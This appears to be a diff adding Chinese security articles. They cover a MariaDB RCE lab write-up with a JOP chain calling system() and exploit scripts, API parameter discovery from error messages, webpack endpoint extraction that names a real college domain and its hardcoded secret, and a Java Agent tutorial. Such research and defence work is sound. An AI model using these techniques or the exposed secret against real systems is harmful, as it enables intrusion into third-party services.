→ result->prepare()
|
||||
→ mov rax, [result] ; rax = 攻击者控制的假 vtable 指针 V
|
||||
→ call [rax + 0x20] ; 调用 D2 小工具 (prepare 虚表槽)
|
||||
```
|
||||
|
||||
JOP 链执行流:
|
||||
|
||||
|
||||
```
|
||||
D2: call *0x100(%rax) ; rax 仍为 V, V+0x100 = D1
|
||||
D1: mov rdi, [rax+0xa8] ; rax = V, V+0xa8 = V+0x140 (命令字符串指针)
|
||||
call [rax+0xa0] ; V+0xa0 = system()
|
||||
; rdi = "sh -c 'id > /tmp/pwned'"
|
||||
; → system("sh -c 'id > /tmp/pwned'")
|
||||
```
|
||||
|
||||
服务器崩溃: system() 返回后,由于进程内存已损坏,mariadbd 崩溃(PID 1 退出 → 容器停止)。这是预期行为。
|
||||
|
||||
|
||||
## 漏洞利用脚本说明
|
||||
|
||||
|
||||
两个利用脚本位于 `~/data/github/mariadb-13-rce-lab/`:
|
||||
|
||||
|
||||
| 脚本 | 类型 | 攻击条件 |
|
||||
| --- | --- | --- |
|
||||
| exploit_pure_sql.py | 纯 SQL(推荐) | 低权限账号 + TCP |
|
||||
| exploit.py | 宿主机辅助 PoC | root + /proc/PID/mem |
|
||||
|
||||
|
||||
pure-SQL 变体的创新点:
|
||||
|
||||
|
||||
| 传统方式(exploit.py) | 纯 SQL 替代方案 |
|
||||
| --- | --- |
|
||||
| docker inspect → PID + /proc/<pid>/maps | LOAD DATA INFILE '/proc/self/maps' |
|
||||
| /proc/<pid>/mem 写入 JOP 链 | CONCAT/UNHEX 在分配时嵌入;SQL 端 maps 差分发现地址;mmap 槽复用保持自引用有效 |
|
||||
| docker exec ... echo CMD | 命令字符串直接嵌入 JOP 布局 |
|
||||
| root 密码连接 | GRANT PROXY 从低权限账号提权 |
|
||||
|
||||
|
||||
|
||||
## 修复建议
|
||||
|
||||
|
||||
|
||||
### 短期措施(缓解)
|
||||
|
||||
|
||||
1 设置 `secure_file_priv` 为空字符串或安全目录,阻止 `LOAD DATA INFILE '/proc/self/maps'`
|
||||
|
||||
```sql
|
||||
SET GLOBAL secure_file_priv = '/var/lib/mysql-files';
|
||||
```
|
||||
|
||||
2 限制 `max_allowed_packet` 为合理值(如 16M),阻止超大用户变量分配
|
||||
|
||||
```sql
|
||||
SET GLOBAL max_allowed_packet = 16777216;
|
||||
```
|
||||
|
||||
3 限制 `max_open_cursors` 降低游标数组重分配触发可能
|
||||
|
||||
```sql
|
||||
SET GLOBAL max_open_cursors = 10;
|
||||
```
|
||||
|
||||
|
||||
4 禁用 SYS\_PTRACE capability(容器环境),移除 `cap_add: SYS_PTRACE`
|
||||
5 网络隔离:MariaDB 端口仅监听内网,不暴露到公网
|
||||
|
||||
### 根本修复
|
||||
|
||||
|
||||
1F-09 权限提升修复:
|
||||
|
||||
○ 合入 MDEV-40470 补丁 (`dbd60d0ad8d`)
|
||||
○ 确保 `GRANT PROXY ... IDENTIFIED VIA ''` 时 `has_auth()` 正确触发权限检查
|
||||
○ 建议在 `replace_user_table()` 前增加 `IDENTIFIED VIA ''` 的特殊拒绝逻辑
|
||||
2F-05 SYS\_REFCURSOR UAF 修复:
|
||||
|
||||
○ 修改 `sp_cursor_array::get_cursor_by_ref()` 返回索引而非原始指针
|
||||
○ 或在 `open()` 期间锁定 `Dynamic_array` 防止重分配
|
||||
○ 建议重构 `Dynamic_array` 使用稳定指针(如 `std::deque` 或 index-based access)
|
||||
3纵深防御:
|
||||
|
||||
○ 审计 `LOAD DATA INFILE` 对 `/proc`、`/sys`、`/dev` 等敏感路径的访问控制
|
||||
○ 对用户变量大小增加硬限制,与 `max_allowed_packet` 解耦
|
||||
|
||||
## 参考链接
|
||||
|
||||
|
||||
[https://github.com/MariaDB/server/releases](https://github.com/MariaDB/server/releases)
|
||||
|
||||
[https://github.com/dinosn/mariadb-13-rce-lab](https://github.com/dinosn/mariadb-13-rce-lab)
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,118 @@
|
||||
# 不猜参数,让目标自己告诉你:基于错误反馈的API参数自动发现
|
||||
> 来源:https://xz.aliyun.com/news/92561
|
||||
|
||||
## 0x00 参数字典的困局
|
||||
|
||||
|
||||
Web 漏洞扫描的第一步是搞清楚接口接受哪些参数。现有一共三种办法:
|
||||
|
||||
● 爬 HTML/JS:从 `<input name="...">` 和 `fetch("...")` 里提取——SPA 应用里基本没用
|
||||
● 字典爆破:准备一个参数名字典(uid、user\_id、userId...),逐个试——慢,而且命中率依赖字典质量
|
||||
● 抓包:从浏览器 Network 面板里看——手动操作,不能自动化
|
||||
三种办法都没有利用一个重要信息源:后端 API 自己的错误反馈。
|
||||
|
||||
大多数后端框架在处理参数缺失或格式错误时,会在响应里明确告诉调用方缺了什么:
|
||||
|
||||
|
||||
```
|
||||
parameter[user_code] is missing.
|
||||
Field 'mobile_phone' is required.
|
||||
user_id 不能为空
|
||||
缺少参数 account_email
|
||||
```
|
||||
|
||||
这些错误信息本质上是后端免费送给你的接口文档。参数名、是否必填、格式要求——全部写在错误信息里。
|
||||
|
||||
|
||||
## 0x01 核心逻辑
|
||||
|
||||
|
||||
思路很简单:发一个故意缺参数的请求,从错误信息里提取参数名,填上后再发,循环直到没有新参数出现。
|
||||
|
||||
|
||||
```
|
||||
Step 1: POST /api/user/update (空参数)
|
||||
→ {"err_msg":"parameter[mobile_phone] is missing."}
|
||||
→ 提取: mobile_phone
|
||||
|
||||
Step 2: POST /api/user/update (mobile_phone=13800000000)
|
||||
→ {"err_msg":"parameter[account_email] is missing."}
|
||||
→ 提取: account_email
|
||||
|
||||
Step 3: POST /api/user/update (mobile_phone=xxx, account_email=test@x.com)
|
||||
→ {"err_code":"00000"}
|
||||
→ 完成: [mobile_phone, account_email]
|
||||
```
|
||||
|
||||
这个过程完全自动、不需要字典、不依赖前端 JS。目标自己的输入校验逻辑帮你做参数发现。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
## 0x02 错误模式匹配
|
||||
|
||||
|
||||
后端错误信息的格式千奇百怪,但语义是固定的。核心是识别几种错误类型:
|
||||
|
||||
|
||||
| 错误类型 | 匹配模式 | 示例 |
|
||||
| --- | --- | --- |
|
||||
| 参数缺失(英文) | parameter["x"] is missing / Field 'x' is required | Spring Boot, Django, Laravel |
|
||||
| 参数缺失(中文) | 缺少参数x / 参数x不能为空 / x为必填项 | 国产框架、政务系统 |
|
||||
| JSON Schema | requires property 'x' / required property 'x' | JSON Schema 校验 |
|
||||
| 格式错误 | Invalid x / x format is error / x格式不正确 | 手机号、邮箱校验 |
|
||||
| 长度错误 | x length must be / x长度必须 | 密码、验证码 |
|
||||
|
||||
|
||||
引擎内置了 10 组正则模式覆盖这些错误类型。每次收到响应先尝试 JSON 解析——因为很多 API 的错误信息在 `err_msg` 或 `message` 字段里——解析成功后再对 `err_msg` 的值做模式匹配,失败就直接对原始响应体做匹配。
|
||||
|
||||
|
||||
## 0x03 迭代终止条件
|
||||
|
||||
|
||||
不是所有接口都会把所有参数一次性暴露。有些接口在第一个参数缺失时就返回错误了,后面的参数要在第一个参数被满足后才会被校验到。
|
||||
|
||||
所以需要循环迭代。每次迭代:把已发现的参数填上测试值 → 发请求 → 解析新错误 → 有新参数就继续,没有就终止。最多 3 轮(防止某些接口永远返回错误导致死循环)。
|
||||
|
||||
测试值的生成也做了一点智能化:看到 `phone` 或 `mobile` 自动填 `13800138000`,看到 `mail` 或 `email` 自动填 `test@example.com`,看到 `code` 或 `id` 自动填 `1`。这不影响准确性,但能确保参数值通过格式校验,让后端继续往下检查其他参数。
|
||||
|
||||
|
||||
## 0x04 实测数据
|
||||
|
||||
|
||||
在几个已知参数的接口上做对照测试:
|
||||
|
||||
|
||||
| 接口 | 真实参数 | 错误驱动发现 | 字典爆破(1000词) |
|
||||
| --- | --- | --- | --- |
|
||||
| /api/user/modify | mobile_phone, account_email | 2/2 (2轮) | 1/2 (仅命中 email) |
|
||||
| /api/auth/login | username, password, captcha | 3/3 (3轮) | 2/3 (captcha 不在通用字典) |
|
||||
| /api/apply/save | user_code, biz_type_id, reason | 1/3 (user_code) | 0/3 |
|
||||
|
||||
|
||||
错误驱动发现的覆盖率不是 100%——有些接口的参数校验逻辑不是逐字段报错的,而是一次性校验所有参数后统一返回"参数不完整",这种情况下只能提取第一个触发校验的参数。但相比字典爆破,它有两个明显优势:
|
||||
|
||||
1 零字典依赖:完全靠目标自己的反馈,不会因为参数名在字典外就漏掉
|
||||
2 发现的参数一定是真实有效的:不是猜出来的,是目标告诉你的
|
||||
|
||||
## 0x05 局限和适用场景
|
||||
|
||||
|
||||
这个方法对以下情况无效:
|
||||
|
||||
● 生产环境关闭了详细错误:只返回 `{"error":"invalid request"}` 的系统,错误信息里没有参数名
|
||||
● 前端校验拦截了所有错误请求:后端永远收不到缺参数的请求,自然也不会返回错误
|
||||
● 参数名校验加了前缀或混淆:比如 `parameter[enc_user_code]` 实际参数是 `user_code`
|
||||
● 一次性校验所有参数:后端把所有缺失参数合并成一条错误信息 `"参数不完整"`,不逐个暴露
|
||||
但国内大量高校、政府、企业的内部系统不关详细错误——很多运营人员依赖错误信息来调试接口。我在一个月内对四个不同教育机构的测试中,三个的系统都返回了带参数名的错误信息。这个比例说明它不是个例。
|
||||
|
||||
|
||||
## 0x06 总结
|
||||
|
||||
|
||||
"不猜参数,让目标自己告诉你"——这个思路本质上是一次视角切换。传统扫描器把错误信息当成"失败的请求"扔掉,但错误信息本身就是最有价值的信息源之一。一个接口为了告诉你"你漏了参数 x",实际上也就是告诉了你"这个接口接受参数 x"。至于怎么用这个信息,是攻击者的问题,不是接口的问题。
|
||||
|
||||
引擎源码已开源,文中代码为简化示例。
|
||||
@@ -0,0 +1,159 @@
|
||||
# 从Webpack到攻击链:SPA应用自动化攻击面发现实践
|
||||
> 来源:https://xz.aliyun.com/news/92560
|
||||
|
||||
## 0x00 为什么 SPA 让扫描器变成了瞎子
|
||||
|
||||
|
||||
传统的 Web 扫描器靠两样东西发现接口:HTML 里的 `<a>` 和 `<form>` 标签,以及字典爆破常见路径。这套打法在服务端渲染的时代勉强够用。
|
||||
|
||||
但在 SPA(单页应用)面前,这两招全部失效。
|
||||
|
||||
一个典型的 Angular 应用,所有路由和 API 端点都打包在 webpack 产出的 `main.xxx.js` 里——一个 1.4MB 到 6MB 不等的压缩文件。HTML 里只有一个 `<app-root></app-root>`,没有链接,没有表单。字典爆破更没用——API 路径不是 `/api/user` 这种可猜的模式,而是 `/app-ws/ws/app-service/student/user/modify-contact-info` 这种嵌套路径,靠字典永远撞不到。
|
||||
|
||||
这个问题直到我自己在挖一个职业学院的移动端时碰上了才真正意识到严重性。PC 端的教务系统是传统 JSP,URL 一眼看穿。移动端是 Angular SPA,我打开 F12 看 Network 面板——几十个 API 请求,路径全在 webpack 打包后的 `main.js` 里,URL 格式完全不是常见的 RESTful 风格。
|
||||
|
||||
手工搜了 20 分钟,从 1.4MB 的压缩 JS 里捞出了 150+ 个 API 端点——包括修改邮箱、重置密码、切换角色这些高危操作。这些端点在 HTML 里一个链接都没有,字典爆破也不可能命中。但它们在 webpack 的 `apiUrlKey` 映射对象里写得明明白白。
|
||||
|
||||
后面我把这个手工过程写成了自动化引擎。
|
||||
|
||||
|
||||
## 0x01 apiUrlKey —— webpack 给扫描器留的后门
|
||||
|
||||
|
||||
webpack 在打包 Angular 应用时,会把所有 API 路径配置放在一个叫 `apiUrlKey` 的对象里。这不是安全漏洞,是框架约定。但这个约定恰好给扫描器留了一扇门:
|
||||
|
||||
|
||||
```javascript
|
||||
// 从 main.js 中提取到的真实数据
|
||||
apiUrlKey = {
|
||||
login: "/login",
|
||||
check_token: "/check-token",
|
||||
user_reset_passwd: "/user/reset-passwd",
|
||||
user_change_role: "/user/change-role",
|
||||
user_modify_contact_info: "/user/modify-contact-info",
|
||||
user_get_base_info: "/user/get-base-info",
|
||||
course_schedule_lesson_get_students: "/course/schedule/lesson/get-students",
|
||||
// ... 后面还有 140+ 条
|
||||
};
|
||||
```
|
||||
|
||||
这里的 key 是内部标识符,value 是实际的 URL 路径。URL 拼接规则由另一个变量定义:
|
||||
|
||||
|
||||
```javascript
|
||||
baseUrl = "https://easm.gzvti.com/app-ws";
|
||||
commonUrl = "/ws/app-service";
|
||||
|
||||
getWholeUrl = function(key) {
|
||||
return baseUrl + commonUrl + apiUrlKey[key];
|
||||
};
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
这三个变量——`baseUrl`、`commonUrl`、`apiUrlKey`——就是完整 API 清单的拼图。扫描器只需要:
|
||||
|
||||
1下载 JS 文件
|
||||
|
||||
2用正则提取这三个变量的值
|
||||
|
||||
3拼接出完整 URL
|
||||
|
||||
4 自动推断 HTTP 方法(`save`/`modify`/`delete`/`reset` 结尾的 key → POST,其他 → GET)
|
||||
整个过程不到 100 行 Python。
|
||||
|
||||
|
||||
## 0x02 实际效果:比传统 JS 解析器多发现 60% 的端点
|
||||
|
||||
|
||||
已有的 JS 解析器(如 LinkFinder、Burp 的 JS analysis)靠识别 `fetch("...")`、`axios.get("...")` 这些调用模式来提取 URL。但在 webpack 压缩后的代码里,这些调用经过模块化封装后变成了 `this.httpClientService.post(e, n, {token: t})`,URL 是通过 `getWholeUrl` 在运行时拼接的,静态分析抓不到。
|
||||
|
||||
我做了一个对比测试:拿同一个 webpack 产物,用传统 JS 解析器能提取 5 个端点,用 SPA 解析器能提取 8 个——多了 60%。这 3 个额外发现的端点里有两个是 POST 修改接口(`modify-contact`、`reset-passwd`),恰好是最危险的那类。
|
||||
|
||||
在另一个目标(OA 系统)的模块配置里,解析出了 5 个管理端接口,包括教师列表、认证登录、OA 自动登录。传统解析器一个都没抓到——因为 URL 不是通过 fetch/axios 调用的,而是存在 `moduleConfig` 对象里通过 `spellWholeUrl()` 动态加载的。
|
||||
|
||||
|
||||
## 0x03 不只是端点——顺手提取硬编码密钥
|
||||
|
||||
|
||||
webpack 打包时,`.env` 里的配置变量会被内联到 JS 中。最常见的模式是 `Secret = "some_value"`:
|
||||
|
||||
|
||||
```javascript
|
||||
// EAS 移动端 main.js 中提取
|
||||
Secret = "supwisdom_eams_app_secret"
|
||||
```
|
||||
|
||||
这个值是后端签名校验的关键材料,但直接以明文躺在 JS 里。SPA 解析器搜 `Secret\s*[=:]\s*"([^"]+)"` 这个模式就能自动提取。
|
||||
|
||||
在 B/S 架构里这不是设计失误——密钥在前端存放本身就有问题,但工程现实是大量系统都这么做。既然它会出现在 JS 里,扫描器就应该能自动捡起来。
|
||||
|
||||
另外,webpack 产物的 interceptor 代码也值得关注——`intercept(request)` 这种函数通常负责给请求自动加签。如果能识别出 interceptor 的存在,就知道这个目标很可能有自定义签名体系,后续可以接签名检测模块。
|
||||
|
||||
|
||||
## 0x04 输入信息够了,接下来是参数从哪来
|
||||
|
||||
|
||||
拿到 URL 只是第一步。怎么知道参数叫什么?
|
||||
|
||||
传统的办法是参数字典爆破。这个方法有两个问题:一是慢,二是命中率取决于字典质量。
|
||||
|
||||
SPA 里其实有更好的信息来源——错误信息。
|
||||
|
||||
很多后端 API 在参数缺失时会返回明确的错误提示:
|
||||
|
||||
错误信息本身就包含了参数名。我把这个思路做成了 Error-Driven 参数发现引擎:
|
||||
|
||||
1用空参数发一个请求
|
||||
|
||||
2解析响应里的错误信息,提取参数名
|
||||
|
||||
3把发现的参数填上测试值,再发一次
|
||||
|
||||
4新的错误可能暴露更多参数
|
||||
|
||||
5循环直到没有新参数名出现
|
||||
|
||||
这个过程不需要字典、不需要爬前端、不需要看 JS 源码。它利用的是后端自己的输入校验逻辑——你把"错误信息"当成了"API 文档"来读。
|
||||
|
||||
实测中,一个修改联系方式的接口,第一次空请求返回 `parameter[mobile_phone] is missing`,填上 `mobile_phone` 后再发,返回 `parameter[account_email] is missing`。两次迭代拿到了完整参数表。
|
||||
|
||||
|
||||
## 0x05 从端点到攻击链——参数关系图
|
||||
|
||||
|
||||
有了接口和参数,下一步是理解它们之间的关系。
|
||||
|
||||
接口不是孤立的。`/course/lesson/students` 返回 `code`(学号),`/user/modify-contact` 接受 `user_code` 参数——这两个字段语义匹配,存在数据流关系。
|
||||
|
||||
参数关系图自动追踪这种关系:
|
||||
|
||||
1 记录输出:每个接口返回了哪些字段,字段的值长什么样(数字串?手机号?邮箱?)
|
||||
2 记录输入:每个接口接受哪些参数
|
||||
3 匹配边:输出字段名和输入参数名做语义匹配——`code`↔`user_code`、`account_email`↔`email`
|
||||
4 推导攻击链:BFS 搜索从"能访问的端点"到"能修改他人数据的端点"的最短路径
|
||||
这个思路在真实目标上自动推导出了一条 3 步攻击链:
|
||||
|
||||
这和手工花了三天才拼出来的攻击链完全一致。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
## 0x06 总结
|
||||
|
||||
|
||||
从 webpack 产物到攻击链,整条链路的关键节点:
|
||||
|
||||
● `apiUrlKey` 对象 → 完整端点清单
|
||||
●错误信息 → 参数表
|
||||
|
||||
●参数关系图 → 攻击链路
|
||||
|
||||
这三步都不依赖字典、不爬前端、不需要 Swagger 文档。它们利用的是 SPA 应用本身的架构特征和 API 的错误反馈机制。对于现代前端框架的 Web 应用,这套方法比传统扫描器的覆盖面要宽得多。
|
||||
|
||||
引擎源码已开源,文中代码为简化示例。(链接在本账号第一篇文章)
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,396 @@
|
||||
# 基础篇 - Java Agent 详解
|
||||
> 2024-10-23
|
||||
> 来源:https://changeyourway.github.io/2024/10/23/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-JavaAgent%E8%AF%A6%E8%A7%A3/
|
||||
|
||||
## Java Agent 介绍
|
||||
|
||||
Java Agent 是一种允许开发者在 JVM 运行时通过修改类的字节码来动态增强 Java 应用程序的工具。它基于 `Instrumentation` 接口,可以使用 `ClassFileTransformer` 来拦截和修改字节码。在 Java Agent 中,`Instrumentation.addTransformer()` 可以用来添加一个字节码转换器,它将在类加载时对字节码进行操作。
|
||||
|
||||
我们平时接触到的很多地方都用到了这个 Java Agent :
|
||||
|
||||
- 各个 Java IDE 的调试功能,例如 eclipse、IntelliJ IDEA;
|
||||
- 热部署功能,例如 JRebel、XRebel、 spring-loaded;
|
||||
- 各种线上诊断工具,例如 Btrace、Greys,还有阿里的 Arthas;
|
||||
- 各种性能分析工具,例如 Visual VM、JConsole 等;
|
||||
|
||||
Java Agent 最终以 jar 包的形式存在,我们也只能以调用 jar 包的方式去调用它。
|
||||
|
||||
## Java Agent 快速入门
|
||||
|
||||
接下来就来实现一个简单的 Java Agent,基于 Java 1.8,主要实现两点简单的功能:
|
||||
|
||||
1、打印当前加载的所有类的名称;
|
||||
|
||||
2、监控一个特定的方法,在方法中动态插入简单的代码并获取方法返回值;
|
||||
|
||||
在方法中插入代码用到了字节码修改技术,字节码修改技术主要有 javassist、ASM。这个例子中用的是 javassist,所以需要引入相关的 依赖:
|
||||
|
||||
```
|
||||
<dependency>
|
||||
<groupId>org.javassist</groupId>
|
||||
<artifactId>javassist</artifactId>
|
||||
<version>3.28.0-GA</version>
|
||||
</dependency>
|
||||
```
|
||||
|
||||
### 编写入口类和自定义转换器
|
||||
|
||||
入口类需要实现 premain 和 agentmain 两个方法。这两个方法的运行时机不一样。这要从 Java Agent 的使用方式来说了,Java Agent 有两种启动方式,一种是以 JVM 启动参数 -javaagent:xxx.jar 的形式随着 JVM 一起启动,这种情况下,会调用 premain 方法,并且是在主进程的 main 方法之前执行。另外一种是以 loadAgent 方法动态 attach 到目标 JVM 上,这种情况下,会执行 agentmain 方法。
|
||||
|
||||
代码实现如下:
|
||||
|
||||
```
|
||||
package com.miaoji;
|
||||
|
||||
import java.lang.instrument.Instrumentation;
|
||||
|
||||
public class MyCustomAgent {
|
||||
/**
|
||||
* jvm 参数形式启动,运行此方法
|
||||
*
|
||||
* @param agentArgs
|
||||
* @param inst
|
||||
*/
|
||||
public static void premain(String agentArgs, Instrumentation inst) {
|
||||
System.out.println("premain");
|
||||
customLogic(inst);
|
||||
}
|
||||
|
||||
/**
|
||||
* 动态 attach 方式启动,运行此方法
|
||||
*
|
||||
* @param agentArgs
|
||||
* @param inst
|
||||
*/
|
||||
public static void agentmain(String agentArgs, Instrumentation inst) {
|
||||
System.out.println("agentmain");
|
||||
customLogic(inst);
|
||||
}
|
||||
|
||||
/**
|
||||
* 打印所有已加载的类名称
|
||||
* 修改字节码
|
||||
*
|
||||
* @param inst
|
||||
*/
|
||||
private static void customLogic(Instrumentation inst) {
|
||||
inst.addTransformer(new MyTransformer(), true);
|
||||
Class[] classes = inst.getAllLoadedClasses();
|
||||
for (Class cls : classes) {
|
||||
System.out.println(cls.getName());
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
可以看到 premain 和 agentmain 两个方法都有参数 agentArgs 和 inst,其中 agentArgs 是我们启动 Java Agent 时带进来的参数,比如 `-javaagent:xxx.jar [agentArgs]` 。而参数 Instrumentation inst 是 Java 开放出来的专门用于字节码修改和程序监控的实现。我们要实现的打印已加载类和修改字节码也就是基于它来实现的。其中 inst.getAllLoadedClasses()一个方法就实现了获取所有已加载类的功能。
|
||||
|
||||
这里 inst.addTransformer() 方法是用来添加字节码转换器的,其中传入了一个自定义的转换器 MyTransformer 对象。
|
||||
|
||||
MyTransformer 类的定义如下:
|
||||
|
||||
```
|
||||
package com.miaoji;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.IllegalClassFormatException;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
public class MyTransformer implements ClassFileTransformer {
|
||||
@Override
|
||||
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
|
||||
System.out.println("正在加载类:" + className);
|
||||
if (!"com/miaoji/Person".equals(className)) {
|
||||
return classfileBuffer;
|
||||
}
|
||||
CtClass cl = null;
|
||||
try {
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
cl = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
|
||||
CtMethod ctMethod = cl.getDeclaredMethod("test");
|
||||
System.out.println("获取方法名称:" + ctMethod.getName());
|
||||
ctMethod.insertBefore("System.out.println(\" 动态插入的打印语句 \");");
|
||||
ctMethod.insertAfter("System.out.println($_);");
|
||||
byte[] transformed = cl.toBytecode();
|
||||
return transformed;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return classfileBuffer;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
以上代码的逻辑就是当碰到加载的类是 Person 的时候,在其中的 test 方法开始时插入一条打印语句,打印内容是”动态插入的打印语句”,在 test 方法结尾处,打印返回值,其中 $\_ 就是返回值,这是 javassist 里特定的标示符。
|
||||
|
||||
### 编写 MANIFEST.MF 配置文件
|
||||
|
||||
在目录 resources/META-INF/ 下创建文件名为 MANIFEST.MF 的文件,在其中加入如下的配置内容:
|
||||
|
||||
```
|
||||
Manifest-Version: 1.0
|
||||
Created-By: miaoji
|
||||
Agent-Class: com.miaoji.MyCustomAgent
|
||||
Can-Redefine-Classes: true
|
||||
Can-Retransform-Classes: true
|
||||
Premain-Class: com.miaoji.MyCustomAgent
|
||||
```
|
||||
|
||||
### 设置打包方式
|
||||
|
||||
Java Agent 是以 jar 包的形式存在,所以最后一步就是将上面的内容打到一个 jar 包里。
|
||||
|
||||
在 pom 文件中加入以下配置:
|
||||
|
||||
```
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-assembly-plugin</artifactId>
|
||||
<configuration>
|
||||
<archive>
|
||||
<manifestFile>C:\Users\miaoj\Documents\Java安全代码实验\JavaAgentTest\src\main\resources\META-INF\MANIFEST.MF</manifestFile>
|
||||
</archive>
|
||||
<descriptorRefs>
|
||||
<descriptorRef>jar-with-dependencies</descriptorRef>
|
||||
</descriptorRefs>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
```
|
||||
|
||||
用 manifestFile 标签指定 MANIFEST.MF 所在路径,指定打包方式为包含依赖的 jar 包:jar-with-dependencies 。
|
||||
|
||||
然后运行如下命令即可打包:
|
||||
|
||||
```
|
||||
mvn assembly:assembly
|
||||
```
|
||||
|
||||

|
||||
|
||||
打包成功后会在 target 目录下生成对应的 jar 包。
|
||||
|
||||
### 编写测试类
|
||||
|
||||
我们先编写一个测试类,这个测试类的逻辑就是循环不断地读取键盘输入,并在输入数字 1 的时候,调用 person.test() 方法:
|
||||
|
||||
```
|
||||
import java.util.Scanner;
|
||||
|
||||
public class RunJvm {
|
||||
public static void main(String[] args){
|
||||
System.out.println("按数字键 1 调用测试方法");
|
||||
while (true) {
|
||||
Scanner reader = new Scanner(System.in);
|
||||
int number = reader.nextInt();
|
||||
if(number==1){
|
||||
Person person = new Person();
|
||||
person.test();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
以及定义一个 Person 类:
|
||||
|
||||
```
|
||||
public class Person {
|
||||
public String test(){
|
||||
System.out.println("执行测试方法");
|
||||
return "I'm ok";
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 命令行方式运行
|
||||
|
||||
```
|
||||
java -javaagent:"C:\Users\miaoj\Documents\Java安全代码实验\JavaAgentTest\target\JavaAgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar" -cp target/classes com.miaoji.RunJvm
|
||||
```
|
||||
|
||||
输出结果:
|
||||
|
||||
 
|
||||
|
||||
可以看到在最开始首先执行了 premain 方法打印了 “premain” ,中间输出了很多被加载的类,在 RunJvm main 方法的前后执行了自定义转换器 MyTransformer 中的 javassist 操作。
|
||||
|
||||
### 动态 attach 方式运行
|
||||
|
||||
这是另一种运行方式,在项目运行过程中运行 Java Agent ,这会触发 agentmain 方法。
|
||||
|
||||
用下面的代码去实现:
|
||||
|
||||
```
|
||||
package com.miaoji;
|
||||
|
||||
import com.sun.tools.attach.*;
|
||||
import java.io.IOException;
|
||||
import java.util.List;
|
||||
|
||||
public class AttachAgent {
|
||||
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
|
||||
// 调用 VirtualMachine.list() 获取正在运行的 JVM 列表
|
||||
List<VirtualMachineDescriptor> list = VirtualMachine.list();
|
||||
for (VirtualMachineDescriptor vmd : list) {
|
||||
|
||||
// 遍历每一个正在运行的 JVM ,如果 JVM 名称为 RunJvm 则连接该 JVM 并加载特定 Agent
|
||||
if (vmd.displayName().equals("com.miaoji.RunJvm")) {
|
||||
// 连接指定 JVM
|
||||
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
|
||||
// 加载 Agent
|
||||
virtualMachine.loadAgent("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\JavaAgentTest\\target\\JavaAgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar");
|
||||
// 断开 JVM 连接
|
||||
virtualMachine.detach();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
其中用到的 com.sun.tools.attach.VirtualMachine 类需要 tools.jar 依赖,IDEA 默认不会导入,我们需要手动导入:
|
||||
|
||||

|
||||
|
||||
导入完成后,就可以开始了。
|
||||
|
||||
先运行 RunJvm 主函数,接着运行 AttachAgent ,回到 RunJvm 运行结果下面输入 1 ,便可以触发相同的效果了:
|
||||
|
||||

|
||||
|
||||
### Java Agent 基本使用流程总结
|
||||
|
||||
1. 创建 Java Agent 类:
|
||||
- 定义一个类,包含 `premain` 方法(静态加载)和/或 `agentmain` 方法(动态加载)。
|
||||
- 这些方法是 Java Agent 的入口,用来接收传递的参数和 `Instrumentation` 对象。
|
||||
2. 实现字节码转换:
|
||||
- 使用 `Instrumentation` 接口注册字节码转换器,通过 `ClassFileTransformer` 实现类加载时修改字节码的逻辑。
|
||||
3. 配置 `MANIFEST.MF` 文件:
|
||||
- 在 JAR 包的 `META-INF/` 目录下的 `MANIFEST.MF` 文件中,添加 `Premain-Class`(静态加载)或 `Agent-Class`(动态加载)条目,指明 Java Agent 的入口类。
|
||||
4. 打包 Java Agent:
|
||||
- 将 Java Agent 类及其依赖打包为 JAR 文件,确保 `MANIFEST.MF` 文件配置正确。
|
||||
5. 加载 Java Agent:
|
||||
- 静态加载:在 JVM 启动时,通过 `-javaagent` 参数指定 Java Agent 的 JAR 文件。
|
||||
- 动态加载:使用 Attach API,附加到已经运行的 JVM 进程,动态加载 Java Agent。
|
||||
|
||||
## Java Agent 知识汇总
|
||||
|
||||
### 常用类
|
||||
|
||||
#### Instrumentation
|
||||
|
||||
java.lang.instrument.Instrumentation 是 Java Agent 的核心接口,允许 Java Agent 操作类定义,修改字节码等。它提供了操作类和监控 JVM 的各种方法。它是 premain 和 agentmain 方法的参数。
|
||||
|
||||
- 常用方法:
|
||||
- `void addTransformer(ClassFileTransformer transformer)`:添加一个类文件转换器,在类加载时进行字节码修改。
|
||||
|
||||
- `void redefineClasses(ClassDefinition... definitions)`:允许重新定义(redefine)已经加载的类,直接用新的字节码替换现有类定义,而不会触发类的重新加载。不能改变原类的签名、父类、接口,且字段、方法的结构也必须保持一致,但可以修改方法体的具体实现。
|
||||
|
||||
